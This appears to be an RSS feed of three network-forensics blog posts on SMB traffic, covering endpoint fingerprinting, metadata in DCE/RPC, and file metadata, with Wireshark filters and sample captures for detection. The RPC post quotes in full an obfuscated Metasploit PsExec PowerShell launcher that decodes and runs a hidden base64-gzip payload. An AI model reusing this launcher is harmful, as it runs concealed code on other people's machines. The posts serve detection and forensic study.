<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Petr Stuchlík</title>
    <description>The latest articles on DEV Community by Petr Stuchlík (@stuchl4n3k).</description>
    <link>https://dev.to/stuchl4n3k</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F241963%2F501afff1-c94f-43d5-b40c-c32c7c69dff0.png</url>
      <title>DEV Community: Petr Stuchlík</title>
      <link>https://dev.to/stuchl4n3k</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/stuchl4n3k"/>
    <language>en</language>
    <item>
      <title>SMB: endpoint fingerprinting</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Mon, 02 Mar 2020 08:46:38 +0000</pubDate>
      <link>https://dev.to/nx1/endpoint-fingerprinting-11op</link>
      <guid>https://dev.to/nx1/endpoint-fingerprinting-11op</guid>
      <description>&lt;p&gt;&lt;strong&gt;Welcome to another article on network forensics. We are still talking about the SMB protocol family, but this time let's focus on messages that carry hints about the connected endpoints. These hints can be used to infer knowledge about the client and server (e.g. OS version). This process is called fingerprinting.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Protocol negotiation
&lt;/h2&gt;

&lt;p&gt;SMB1 &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/25c8c3c9-58fc-4bb8-aa8f-0272dede84c5"&gt;NegotiateProtocolRequest&lt;/a&gt; (&lt;code&gt;smb.cmd == 0x72&lt;/code&gt;) carries information about the dialects that the client understands. Similarly SMB2 &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/e14db7ff-763a-4263-8b10-0c3944f52fc5"&gt;NEGOTIATE request&lt;/a&gt; (&lt;code&gt;smb2.cmd == 0&lt;/code&gt;) contains a list of client's dialects and SMB 3.x capabilities. These bits are specific to client implementation (or configuration) and thus can be used as part of the client's fingerprint.&lt;/p&gt;

&lt;p&gt;The same applies for the response as well. Fields like server capabilities&lt;br&gt;
(&lt;code&gt;smb.server_cap&lt;/code&gt;), system time (&lt;code&gt;smb.system.time&lt;/code&gt;), time zone (&lt;code&gt;smb.server_timezone&lt;/code&gt;), boot time (&lt;code&gt;smb2.boot_time&lt;/code&gt;) or authentication mechanisms (&lt;code&gt;spnego.mechTypes&lt;/code&gt;) can tell a lot about the server endpoint.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tPUhFgFn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wyalaw0hvsi4o8m4efyh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tPUhFgFn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/wyalaw0hvsi4o8m4efyh.png" alt="smb negotiation response"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.cmd == 0x72 or smb2.cmd == 0&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://wiki.wireshark.org/SMB2?action=AttachFile&amp;amp;do=view&amp;amp;target=smb-on-windows-10.pcapng"&gt;smb-on-windows-10.pcapng&lt;/a&gt; on Wireshark wiki&lt;/p&gt;

&lt;h2&gt;
  
  
  NTLM authentication
&lt;/h2&gt;

&lt;p&gt;NTLM authentication has been long superseded by a more secure Kerberos, but in my experience it can still be found wildly in public institutions and smaller companies and sometimes even in corporate networks. From a forensic POV we are mainly interested in usernames, hostnames and NTLM hashes:     &lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--WQbv2Jxy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/q1evx42pml1vvq29dyi2.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--WQbv2Jxy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/q1evx42pml1vvq29dyi2.png" alt="username in ntlmssp packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;ntlmssp&lt;/code&gt; (or &lt;code&gt;gss-api&lt;/code&gt; for all negotiation packets)&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://wiki.wireshark.org/SMB2?action=AttachFile&amp;amp;do=view&amp;amp;target=smb-on-windows-10.pcapng"&gt;smb-on-windows-10.pcapng&lt;/a&gt; on Wireshark wiki&lt;/p&gt;

&lt;h2&gt;
  
  
  Kerberos authentication
&lt;/h2&gt;

&lt;p&gt;In case of Kerberos there are still useful metadata like realm aka. domain name (&lt;code&gt;kerberos.crealm&lt;/code&gt;), principals aka. user/server names (&lt;code&gt;kerberos.cname&lt;/code&gt;/&lt;code&gt;kerberos.pname&lt;/code&gt;/&lt;code&gt;kerberos.sname&lt;/code&gt;), auth period (&lt;code&gt;kerberos.from&lt;/code&gt;/&lt;code&gt;kerberos.til&lt;/code&gt;) and more.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--8OR7sp0H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2jtknlot20ixyvr6s3n4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8OR7sp0H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2jtknlot20ixyvr6s3n4.png" alt="kerberos packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Also, Kerberos AS-REPs (&lt;code&gt;kerberos.cipher&lt;/code&gt; field) can sometimes be cracked to yield credentials &lt;a href="https://blog.xpnsec.com/kerberos-attacks-part-2/"&gt;e.g. with John the Ripper&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;kerberos&lt;/code&gt; (or gss-api for all negotiation packets)&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://www.pcapr.net/view/alejandro.ayala/2009/2/2/11/Kerberos-CIFS.Cap.html"&gt;Kerberos-CIFS.Cap&lt;/a&gt; at pcapr&lt;/p&gt;

&lt;h2&gt;
  
  
  SPOOLSS GetPrinterData
&lt;/h2&gt;

&lt;p&gt;OK this is probably a really niché case, but hey, that's what forensics is all about. When using a shared network printer, MS Spool Subsystem (&lt;code&gt;spoolss&lt;/code&gt;) is typically used over SMB/RPC stack. Once that printer is available, the OS can request various printer data using &lt;a href="https://docs.microsoft.com/en-us/windows/win32/printdocs/getprinterdata"&gt;&lt;code&gt;GetPrinterData&lt;/code&gt;&lt;/a&gt; function. Inspecting these data can reveal interesting bits, e.g. OS Version of the print server.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rdfxjP90--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/rj9lam6odcbkrs3vnik3.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rdfxjP90--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/rj9lam6odcbkrs3vnik3.png" alt="smb spoolss getprinterdata response"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wirehsark filter:&lt;/strong&gt; &lt;code&gt;spoolss.printerdata&lt;/code&gt;&lt;/p&gt;




&lt;p&gt;If you're interested in reading more about OS/application/device fingerprinting, there's sadly not many links I could point you to. Tools like &lt;a href="http://lcamtuf.coredump.cx/p0f3/"&gt;p0f&lt;/a&gt; or &lt;a href="https://nmap.org/book/man-os-detection.html"&gt;nmap&lt;/a&gt; can provide a good start. You can also read &lt;a href="https://securitytrails.com/blog/cybersecurity-fingerprinting"&gt;this post by SecurityTrails&lt;/a&gt; which summarizes different means of fingerprinting including SSH or TLS protocols.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;F-Secure: Endpoint Detection of Remote Service Creation and PsExec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;401TRG: An Introduction to SMB for Network Security Analysts&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.xpnsec.com/kerberos-attacks-part-2/"&gt;XPN: Kerberos AD Attacks - More Roasting with AS-REP&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
    <item>
      <title>SMB: metadata in RPC</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Wed, 22 Jan 2020 16:58:42 +0000</pubDate>
      <link>https://dev.to/nx1/smb-metadata-in-rpc-468</link>
      <guid>https://dev.to/nx1/smb-metadata-in-rpc-468</guid>
      <description>&lt;p&gt;&lt;em&gt;They call it DCE/RPC, but at the end of the day it's just a huge pile of cleartext metadata on your network.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is another article in the series on metadata for network forensics. In the &lt;a href="https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h"&gt;previous article&lt;/a&gt; I gave some examples of metadata hiding in common SMB file transfers and today I am going to briefly describe Remote Procedure Calls over SMB.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;While Samba is mostly known as a file and printer sharing solution, it also provides &lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c"&gt;&lt;strong&gt;Named Pipes&lt;/strong&gt;&lt;/a&gt; to facilitate communication between local and remote process. &lt;/p&gt;

&lt;p&gt;Now, in Windows networks, Named Pipes are typically used by &lt;a href="https://en.wikipedia.org/wiki/Microsoft_RPC"&gt;&lt;strong&gt;MSRPC protocol&lt;/strong&gt;&lt;/a&gt;. MSRPC is basicly an implementation of &lt;strong&gt;Distributed Computing Environment Remote Procedure Call (&lt;a href="https://en.wikipedia.org/wiki/DCE/RPC"&gt;DCE/RPC&lt;/a&gt;)&lt;/strong&gt; protocol used to execute functions on the remote endpoint and to transfer data. This allows MSRPC to copy files, work with remote Windows registry and manage Windows services while having the benefit of SMB authentication layer (since a named pipe is just another type of a "share"). Following services are typical examples of MSRPC traffic generators:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;MS Sharing&lt;/li&gt;
&lt;li&gt;MS Security (NLMSSP)&lt;/li&gt;
&lt;li&gt;MS Active Directory&lt;/li&gt;
&lt;li&gt;MS Print&lt;/li&gt;
&lt;li&gt;MS Terminal Server&lt;/li&gt;
&lt;li&gt;MS Remote Services&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So e.g. &lt;code&gt;Spoolsvc.exe&lt;/code&gt; can generate a packet which looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;+-------------------------------+
|              IP               |
+-------------------------------+
|             TCP               |
+-------------------------------+
|        SMB Named Pipe         |
+-------------------------------+
|        MSRPC (DCE/RPC)        |
+-------------------------------+
|     Print Spooler Service     |
+-------------------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;401TRG compiled &lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;an excellent resource&lt;/a&gt; on this topic and packet samples in the following sections are borrowed from their work.&lt;/p&gt;

&lt;h2&gt;
  
  
  Domain users enumeration
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/96952411-1d17-4fe4-879c-d5b48a264314"&gt;Security Account Manager (SAMR)&lt;/a&gt; protocol uses SMB as one of its transport protocols. In this case, SMB connects to &lt;code&gt;samr&lt;/code&gt; pipe on &lt;code&gt;IPC$&lt;/code&gt; share. It can then invoke SAMR methods to enumerate domains (&lt;code&gt;samr.opnum == 6&lt;/code&gt;), domain users (&lt;code&gt;samr.opnum == 13&lt;/code&gt;), query user info (&lt;code&gt;samr.opnum == 36&lt;/code&gt;) etc. Following filter shows packets with user information.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--bKlghHUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2rw6q8ynwuw155xfvdnh.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--bKlghHUW--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/2rw6q8ynwuw155xfvdnh.png" alt="samr user enum packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;samr.samr_EnumDomainUsers.sam or samr.samr_QueryUserInfo.info&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401trg/detections/raw/master/pcaps/20171220_smb_net_user.pcap"&gt;smb_net_user.pcap&lt;/a&gt; by 401TRG&lt;/p&gt;
&lt;h2&gt;
  
  
  PsExec
&lt;/h2&gt;

&lt;p&gt;PsExec is a popular &lt;a href="https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite"&gt;Sysinternals Suite&lt;/a&gt; tool for remote administration in Active Directory environments and is often an attacker's favorite choice for remote code execution attacks. A deep dive to PsExec is can by found in this &lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;blog&lt;/a&gt;.  &lt;/p&gt;

&lt;p&gt;In a basic attack scenario a binary &lt;code&gt;PSEXESVC.exe&lt;/code&gt; is transferred over SMB&lt;br&gt;
protocol to a victim machine using &lt;code&gt;ADMIN$&lt;/code&gt; share. It is then executed remotely as a temporary service using &lt;code&gt;IPC$&lt;/code&gt; share. Following filter will match SMB transfers and invocations of PsExec based on filename detection.   &lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file ~ "PSEXESVC" or smb2.filename ~ "PSEXESVC" or svcctl.servicename ~ "PSEXESVC"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401TRG/detections/raw/master/pcaps/20171220_smb_psexec_add_user.pcap"&gt;smb_psexec_add_user.pcap&lt;/a&gt; by 401TRG&lt;/p&gt;

&lt;p&gt;It is however worth noting that such a file transfer usually triggers alarms so PsExec modules like &lt;a href="https://www.metasploit.com/"&gt;Metasploit&lt;/a&gt; attempt to evade it using PowerShell invocation via RPC. An example how Metasploit obfuscates its payload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -c if([IntPtr]::Size -eq 4){$b='powershell.exe'}else{$b=$env:windir+'\syswow64\WindowsPowerShell\v1.0\powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-nop -w hidden -c $s=New-Object IO.MemoryStream(,[Convert]::FromBase64String(''H4sIAIfj8FkCA71WbW/aSBD+nEr9D1aFZFsl2BDaNJEqnW0gEDABHCDAoWhjr+2FtZfY6/DS63+/MdgNVZoq1w9ngbwvM7vPPvPMjt0ktDlhoeB0y8OF3
/YuhG/v3530UIQCQSr4y6ZxnxSFwkOX+BEn8skJzBaCbmt037OGdC18FaSZtlrVWIBIOL+8NJIowiE/9EtXmGtxjIMHSnAsycI
/wtjHET69eVhgmwvfhMJ96YqyB0Qzs62BbB8Lp1ropHMdZqMUXslaUcIl8e+/RXl2Wp6X6o8JorEkWtuY46DkUCrKwnc53fB2u8KSaBI7YjFzeWlMwrNKaRjGyMVdWO0Jm5j7zIlFGc4CvwjzJAqFo1OlyxyMJBGavYjZmuNEOAafUit8YkssFcKE0qLwlzTLMAySkJMAwzzHEVtZOHoiNo5LTRQ6FA+wO5e6eJ0f
/a1O0rETWPV4JBchMq+CNZmTUHzwF+WXcLOYyvAcxRWo+P7+3ft3bq6HhVpF1xN3MDg7FgS0Tmb7Nga8Uo/FZG/9VVCLggl7Is6iLXQLt1GC5bkwS6Mxm8+FAh2onduhXnx9iXJuD9Ye2d7A0GzEiDMHlyxUhU05Cax04nXN1bBLQlzbhiggdi4r6VfcY5fi/WlLuVkXUEliNoGdGqbYQzzlsSjMXrrVA8J
/+OoJoQ6ONBviFwMqCK38M5hDaCSxFZo4AJ4OfRHC4IKYcW6dCXib7572wUg0KIrjotBLIJvsomBhRLFTFLQwJtmUlnC2b4rPcM2EcmKjmOfLzeUfRGYbGiyMeZTYEDs4/K21wjZBNOWiKDSJg
/WtRbx8Y
/GXTBiIUhJ6sNITRAJGUgYsnioiAox59OWShXkrWFEcgNk+tRsUeZDIWSLsVYQ87IgvUOYaPwg6JSRn4ggjRNmijBeFEYk4XBEpuamW/hjC0f1wAGNEOIuJlCfNTN
/yVOSFDZk+erpubrxUohlLe04iDnw0IhboKMafqxaPgC3pg3JDDA2eSSukpq0vSVlbk3LLhP+QnLVY7dxpXy+aSlTb+K7Wiltms1frN5vVp2trVOVWvcXbvRY363eLhaU1B8MJn7a05i1Rl5PqbnVNdlZHcyYb5fNO361VfbNbeI47qbmud+5ag/KnBumMjb6uVlCnVk86Y32tq9W4TtbNPhn2l9cN
/jAZUTR0Fe+ufIHIphMtRmVm7lqaduWf2btrd3Tlm8520lQuxtWlVtc0I6yPGjprT
/RI6ykj5K3Yuu21zcAzNL1hEzztDxt6v9
/QteHV4rF2oXjge4d8fTyqkOnqbuBDvwEQ2opabTl4xyZ9IOmKacgbgI1nVGzfBZvaR03
/2GVxBS11pulg05g+Aq7JqtGjMH87rDBtRLt3SOtMtw1FKU96Va2pkvGVp6VLIk
/vIy1+qu1qSnnkMGf8qTtxldEdPVdqxu3KdhVFWTdrbXta3ny5Oa
/q6qMRkIA+VBzlYvhFD+FkvSfP6Y
/PB5vu9gH2GyrK6EMqHdBOwTfak+sjMbx235soin1EQSRwheeZ2mBRI7uPe4ykHpL0XKeXOAoxhdIGxS+Xu0Yps9P6cHR9Q4U61I05ZO4QmmeVX7Zk4Yeh
/Fw38qHLyykAhjR61nipg0OP+0V1c6aqcP+rm6oK5377UQ222kpHCxbTKnKg7OeN6H4jOc21gpPsIkzuw/+B1CzVfXg5byP1eew3s28iWi1mRLwY
/3ngPxH+ZzSMEeFgbsGNRfGhhP6OjUxNR58eechAKW72pJ+CNwk/7cJXyb
/ONMdWhAoAAA==''));IEX (New-Object IO.StreamReader(New-Object IO.Compression.GzipStream($s,[IO.Compression.CompressionMode]::Decompress))).ReadToEnd();';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Wireshark alone won't get you very far here, but sometimes you should be able to spot PowerShell in SMB packets and work from there:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file ~ "POWERSHELL" or smb2.filename ~ "POWERSHELL" or svcctl.binarypathname ~ "POWERSHELL"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="https://github.com/401TRG/detections/raw/master/pcaps/20171220_smb_metasploit_psexec_pth_download_meterpreter.pcap"&gt;smb_metasploit_psexec_pth_download_meterpreter.pcap&lt;/a&gt;  by 401TRG&lt;/p&gt;




&lt;p&gt;As you can see, RPC can be used to call remote functions, which can also mean starting a remote service, which in turn can do almost anything you want. Next time I am going to dig some bits in the SMB traffic which can provide useful in endpoint fingerprinting.&lt;/p&gt;

&lt;h2&gt;
  
  
  References
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wpo/4de75e21-36fd-440a-859b-75accc74487c"&gt;Microsoft Docs: Named Pipes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/"&gt;F-Secure: Endpoint Detection of Remote Service Creation and PsExec&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://401trg.com/an-introduction-to-smb-for-network-security-analysts/amp/"&gt;401TRG: An Introduction to SMB for Network Security Analysts&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>security</category>
      <category>network</category>
      <category>dfir</category>
      <category>smb</category>
    </item>
    <item>
      <title>SMB: file metadata and metadata files</title>
      <dc:creator>Petr Stuchlík</dc:creator>
      <pubDate>Wed, 08 Jan 2020 08:29:55 +0000</pubDate>
      <link>https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h</link>
      <guid>https://dev.to/nx1/smb-file-metadata-and-metadata-files-228h</guid>
      <description>&lt;p&gt;&lt;strong&gt;After spending some years in network forensics field, hoarding tons of PCAPs and making cryptic notes on the topic I decided that I wanted to review it all and start sharing some concepts, interesting findings or cool ideas. I hope that someone might find them useful or just fun to follow. For the sake of sanity I am going to publish this as series.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;This article will be dealing with SMB protocol and metadata hiding in it, often in plain sight. My knowledge on SMB is certainly limited and I still remember the time when "Samba" was just an easy way to share stuff on MS Windows network. In my experience this is also what many people think today, sometimes even in forensic world. The usual evidence is that files were transferred from A to B and metadata are often ignored because of the juicy payloads.&lt;/p&gt;

&lt;p&gt;But SMB is pretty damn complex ecosystem and has much more to offer. So in this article I am going to ignore the typical file transfers.&lt;/p&gt;

&lt;p&gt;Tools exist.&lt;/p&gt;

&lt;p&gt;Let's focus on metadata.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intro
&lt;/h2&gt;

&lt;p&gt;In this part I will describe some sources of metadata which either accompany common SMB file transfers or get transferred as files due to OS or app-specific behavior.&lt;/p&gt;

&lt;p&gt;For brevity of this text I am going to expect that the reader is familiar with Wireshark and basics of SMB protocol. While a lot of information about SMB protocol can be found on &lt;a href="https://wiki.wireshark.org/SMB"&gt;Wireshark wiki&lt;/a&gt;, I highly recommend &lt;a href="https://hatsoffsecurity.com/2018/01/10/smb-quick-introduction/"&gt;SMB Quick Introduction&lt;/a&gt; by Hats Off Security as the author can really look on things from forensic POV.&lt;/p&gt;

&lt;p&gt;The important thing for our purpose is that SMB protocol has three major versions (SMB 1-3), but version 3 is technically just SMB 2.2 so the first Wireshark filter you should be aware of is &lt;code&gt;smb or smb2&lt;/code&gt; which gives you all SMB packets regardless of the version.&lt;/p&gt;

&lt;h2&gt;
  
  
  MACB timestamps
&lt;/h2&gt;

&lt;p&gt;File MACB (modification, access, change, birth) timestamps are one the basic forensic artifacts as they help to point a forensic timeline for a given case. Luckily Samba supports these timestamps in many common packets like &lt;a href="https://wiki.wireshark.org/SMB2/Create#SMB2.2FCreate_Response"&gt;SMB2/Create Response&lt;/a&gt; (downloads typically), &lt;a href="https://wiki.wireshark.org/SMB2/GetInfo#SMB2.2FGetInfo_Response"&gt;SMB2/GetInfo Response&lt;/a&gt;, &lt;a href="https://wiki.wireshark.org/SMB2/SetInfo"&gt;SMB2/SetInfo Request&lt;/a&gt; and &lt;a href="https://wiki.wireshark.org/SMB2/Close#SMB2.2FClose_Response"&gt;SMB2/Close Response&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--UiNKrugr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/33v0c6z0exlq0e4zytaf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--UiNKrugr--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://thepracticaldev.s3.amazonaws.com/i/33v0c6z0exlq0e4zytaf.png" alt="smb create response packet"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Note that these fields have type &lt;code&gt;Date and time&lt;/code&gt;, so to list files created since 2020 you would use &lt;code&gt;smb2.create.time &amp;gt; "Jan 01, 2020 00:00:00"&lt;/code&gt; instead of the raw value.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.access.time or smb2.last_access.time&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;PCAP sample:&lt;/strong&gt; &lt;a href="http://www.chrissanders.org/resource/smb_putty_xfer.pcap"&gt;smb2_putty_xfer.pcap&lt;/a&gt; by Chris Sanders&lt;/p&gt;

&lt;h2&gt;
  
  
  Thumbs.db
&lt;/h2&gt;

&lt;p&gt;Speaking of file metadata there can also be complimentary metadata files. These files are not always available, because their presence in the traffic is conditioned by a specific OS or application feature.&lt;/p&gt;

&lt;p&gt;On MS systems one of the most common metadata files is &lt;a href="https://en.wikipedia.org/wiki/Windows_thumbnail_cache"&gt;Windows thumbnail cache&lt;/a&gt;, aka &lt;code&gt;Thumbs.db&lt;/code&gt;. The file is notoriously known and stores thumbnail images for &lt;code&gt;explorer.exe&lt;/code&gt; to load faster. What's not so widely known outside infosec community is that when browsing Samba shares using MS Explorer, this file  gets created and transferred automatically over network (the thumbnail cache makes even more sense in this case).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains "Thumbs.db" or smb2.filename contains "Thumbs.db"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://thumbsviewer.github.io/"&gt;Thumbs viewer&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Outlook.NK2
&lt;/h2&gt;

&lt;p&gt;Another interesting metadata file is &lt;code&gt;Outlook.NK2&lt;/code&gt;. This is a &lt;a href="https://support.microsoft.com/en-us/help/2199226/information-about-the-outlook-autocomplete-list"&gt;MS Office AutoComplete list&lt;/a&gt; of names and email addresses. Outlook automatically updates this file according to user activity. If you happen to gaze into network where MS Office applications run over network, there's a chance that you can encounter a transfer of this file in the traffic.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains ".NK2" or smb2.filename contains ".NK2"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://www.nirsoft.net/utils/outlook_nk2_edit.html"&gt;NK2Edit&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  NTUser.dat
&lt;/h2&gt;

&lt;p&gt;You can find SMB file transfers of &lt;code&gt;ntuser.dat&lt;/code&gt; when Microsoft &lt;a href="https://docs.microsoft.com/en-us/windows-server/storage/folder-redirection/folder-redirection-rup-overview"&gt;Roaming User Profiles&lt;/a&gt; are deployed. Citing MS docs:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Roaming User Profiles redirects user profiles to a file share so that users receive the same operating system and application settings on multiple computers.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This means that all user profile data are transferred over network including MS Registry Hives such as &lt;code&gt;ntuser.dat&lt;/code&gt;. This file contains anything that typically resides in &lt;code&gt;HKEY_CURRENT_USER&lt;/code&gt;, e.g. mount points, recent documents, typed URLs, connected wireless APs or &lt;a href="https://resources.infosecinstitute.com/windows-registry-analysis-regripper-hands-case-study-2/"&gt;remotely connected systems&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Wireshark filter:&lt;/strong&gt; &lt;code&gt;smb.file contains "ntuser.dat" or smb2.filename contains "ntuser.dat"&lt;/code&gt;&lt;br&gt;
&lt;strong&gt;Tool:&lt;/strong&gt; &lt;a href="https://github.com/keydet89/RegRipper2.8"&gt;RegRipper&lt;/a&gt;, &lt;a href="https://github.com/mkorman90/regipy"&gt;Regipy&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  .DS_STORE
&lt;/h2&gt;

&lt;p&gt;On MacOS a &lt;code&gt;.DS_STORE&lt;/code&gt; file is a hidden attribute store which can be automatically created by MacOS Finder in any folder (regardless of file system or network share) based on user activity.&lt;/p&gt;

&lt;p&gt;The file has recently gained some attention in infosec community, because it can contain sensitive information. With the fact that it is hidden by default in the Finder, it can easily lead to data leaks. What sensitive information you ask? For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;all file and directory names in the corresponding folder&lt;/li&gt;
